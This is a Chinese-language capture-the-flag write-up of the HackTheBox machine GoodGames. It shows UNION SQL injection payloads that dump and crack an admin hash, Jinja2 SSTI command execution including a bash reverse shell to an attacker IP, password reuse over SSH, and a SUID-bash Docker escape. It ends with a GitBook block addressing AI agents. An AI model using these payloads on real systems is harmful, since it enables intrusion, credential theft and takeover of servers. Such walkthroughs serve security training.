> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md).

# GoodGames HackTheBox 复盘

GoodGames HackTheBox 简单 Linux 机器复盘，涵盖利用基于联合的 SQL 注入、破解弱算法哈希、密码复用、利用 SSTI，并包含实用的枚举、利用

{% embed url="<https://www.google.com/url?q=https://app.hackthebox.com/machines/446&sa=D&source=calendar&usd=2&usg=AOvVaw2ko0ihHJ569fSXeaF46YAQ>" %}

{% hint style="warning" %}
**技能：**

* 利用基于 UNION 的 SQL 注入
* 破解弱哈希算法
* 密码复用
* 利用 SSTI
* Docker 逃逸基础
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-220378041f08680d22e86ae2ac03dd3194ba7a87%2Fimage%20(1304).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-609bd3d096dd63d6df13b806f28825219674a3ae%2Fimage%20(1305).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68e370fed960fd95dce793f0c6de8c1e0105642%2Fimage%20(1306).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（80）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436b8f76324ed607187f420d638465820bf0b533%2Fimage%20(1307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80 10.10.11.130 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e98ce21a35fbcca275817080fc6824cfa45e8f07%2Fimage%20(1309).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-426bcd77c3260dcaf1e5419c40ed9ba2ef49ece5%2Fimage%20(1310).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d89000d3f2ee70034fdd1eeb976e18683ef2873%2Fimage%20(1311).png?alt=media" alt=""><figcaption></figcaption></figure>

**目录搜索：**

我们使用 Gobuster 在网站上搜索目录：

```bash
gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265
```

我们找到了一个注册目录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-762886ff9cd846a436f39f66935f542a95567239%2Fimage%20(1313).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1d619b483cfb3bb376ab94526a98d50472e85b1%2Fimage%20(1312).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQL 注入漏洞：

使用 **Burp Suite**，我们可以拦截请求，从而测试 SQL 注入。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fad7f8a3ef8b964bcb96308a2a4a7d7f8b2f10f4%2Fimage%20(1316).png?alt=media" alt=""><figcaption></figcaption></figure>

### 基本 SQL 注入：

为了通过简单注入绕过身份验证，我们使用：

```bash
admin ' or 1=1-- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f669c5735cc01e9f5a03a89a16ffb8b739da38%2Fimage%20(1317).png?alt=media" alt=""><figcaption></figcaption></figure>

这种注入类型会强制条件始终为真（`1=1`），从而绕过凭据检查并访问管理面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e069415739e6d76d472d7890b0f8f2d5bd4f03f%2Fimage%20(1318).png?alt=media" alt=""><figcaption></figcaption></figure>

### 基于 UNION 的注入

使用 **基于 UNION 的 SQL** 注入，我们尝试确定列数，以便以与数据库兼容的方式构造查询。示例：

```bash
admin' union select 1,2,3,4-- -
```

服务器返回一个表示“登录成功”的响应，说明有 4 列。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-698bbad39c8cd602c947d4a33bfa49911b2193e2%2Fimage%20(1323).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 列出数据库

要列出当前数据库的名称，我们使用：

```bash
admin' union select 1,2,3,database()-- -&password=admin
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b1a76abf34c437989b0b243987fd48c11a43745%2Fimage%20(1325).png?alt=media" alt=""><figcaption></figcaption></figure>

然后，要获取所有可用的数据库：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```

{% endcode %}

结果： `information_schema`, `main`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0da0d768c6aefc3b21ac71b9fb2b8ce356ca35dd%2Fimage%20(1326).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 列出表

在识别出 `main` 数据库后，我们列出该数据库中的表，以探索存储的结构：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```

{% endcode %}

找到的表： `blog`, `blog_comments`, `users`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4f6af722deccf30df46101b49268a16c4248a45%2Fimage%20(1327).png?alt=media" alt=""><figcaption></figcaption></figure>

列出表的列

对于 `users` 表，我们列出可用的列：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```

{% endcode %}

找到的列： `email`, `id`, `name`, `密码`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1065cfdfbb6af2c3762964ea07a981da44aa5e6a%2Fimage%20(1328).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 提取用户数据

然后我们从 `users` 表：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```

{% endcode %}

用户： `管理员`

邮箱： `admin@goodgames.htb`

密码（哈希）： `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37e874f47fb479d7b0446483254a35242ef8ba07%2Fimage%20(1329).png?alt=media" alt=""><figcaption></figcaption></figure>

### 密码解密

你可以使用 **CrackStation** 来解密获取到的 MD5 哈希并恢复明文密码。

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d646004eda9b866c1d43bfa0778ff665bda682a%2Fimage%20(1330).png?alt=media" alt=""><figcaption></figcaption></figure>

## SSTI 漏洞：

### 访问子域

要访问发现的管理子域，请将其添加到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e9564400aae0f6e0ae5717173226aca9803a8f%2Fimage%20(1319).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a137db7529f4a15cbc529d5cabf39bfa0e8b5234%2Fimage%20(1320).png?alt=media" alt=""><figcaption></figcaption></figure>

最后，使用 **admin** 凭据，你可以在该子域上进行认证。

`admin:superadministrator`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3a3a43b1e8d2cd9ae9f9c78038b3a9dcd5b9f45%2Fimage%20(1331).png?alt=media" alt=""><figcaption></figcaption></figure>

在该子域中你会找到一个 **设置** 选项卡，你可以在其中编辑管理员用户信息（全名、出生日期和电话）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e13fb07dd359ad95f4f313c0d0ef14d95c5990a%2Fimage%20(1294).png?alt=media" alt=""><figcaption></figcaption></figure>

如果在“全名”表单中尝试执行 SSTI 攻击，服务器是存在漏洞的。要用 `{{ }}`来测试这一点，我们尝试看看它是否会解析计算：

```python
{{1+1}}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4934eb1d123fb8fa51f330cecad8d89dbf13ed00%2Fimage%20(1295).png?alt=media" alt=""><figcaption></figcaption></figure>

接下来，我们将运行命令（例如， `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

我们发现他位于 `root` 组。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6653e480725ac2a2dbb912780caccef3ba8e5eba%2F%7B618B071D-718C-41A7-A0D3-215BFB9B750B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们将创建一个反向 Shell 来访问服务器

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```

我们在攻击机上监听 443 端口：

```bash
nc -nlvp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b513b3559ef0294fcf68fe9ccccdd4e7fa9c9e0f%2Fimage%20(1296).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Flag：user.txt** :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b348c9054e9bfb64d82510af3631cf78923a5fa2%2Fimage%20(1297).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

一旦你获得了 Linux 服务器的访问权限，下面是在终端中进行处理的命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

这将使你工作得更加高效，最重要的是，更加舒适。

### Docker 逃逸：

我们观察到这个 IP 地址并不是机器的地址（机器 IP：10.10.11.130；Docker 容器 IP：172.19.0.2）。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa0edfbc9cd7fd2070ffb21d46fd8c0fdc804214%2Fimage%20(1298).png?alt=media" alt=""><figcaption></figcaption></figure></div>

我们将手动扫描端口，因为 `nmap` 未安装在网关（172.19.0.1）上：

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

我们观察到端口 22 是开放的（内部），因此可以通过 SSH 连接。

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2229af16fd380ac9f30d76b7ea77f4c407bf9127%2Fimage%20(1299).png?alt=media" alt=""><figcaption></figcaption></figure>

如果我们尝试使用密码 `superadministrator` 以 root 账户登录，我们无法登录，但使用 `augustus` 我们成功获得了一个 shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-182425faa9fbed82bef8d51f2848e46301c10510%2Fimage%20(1300).png?alt=media" alt=""><figcaption></figcaption></figure>

### Docker 中的 Bash SUID

由于在 Docker 容器中我们是 root，因此我们将把机器正常主机上的 bash 二进制文件复制到 `augustus`:

```
cp /bin/bash .
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fba166e3d9fc6be038931b26c6a4578106dafb4%2Fimage%20(1301).png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

的 home 目录中。

```bash
chown root:root bash
chmod 4777 bash
```

从 Docker 的 root 中，我们将为这个 bash 文件授权 root 组并设置 SUID 权限，使其以 root 身份运行：

`-rwsrwxrwx 1 root root 1234376 10月 28 11:35 bash`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802665bac0948d007a6c71c54da3317d9da00295%2Fimage%20(1302).png?alt=media" alt=""><figcaption></figcaption></figure>

### **已获得 Root Flag :)**

`./bash -p`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd5ee464df2df34a50c900751373dd22fc4f23f%2Fimage%20(1303).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a6d434ebbf5dd5eb099d2599df50fadecfddff1%2F%7B0BBA635D-1E6A-429D-9945-FBBFA6784D00%7D.png?alt=media" alt="" width="528"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
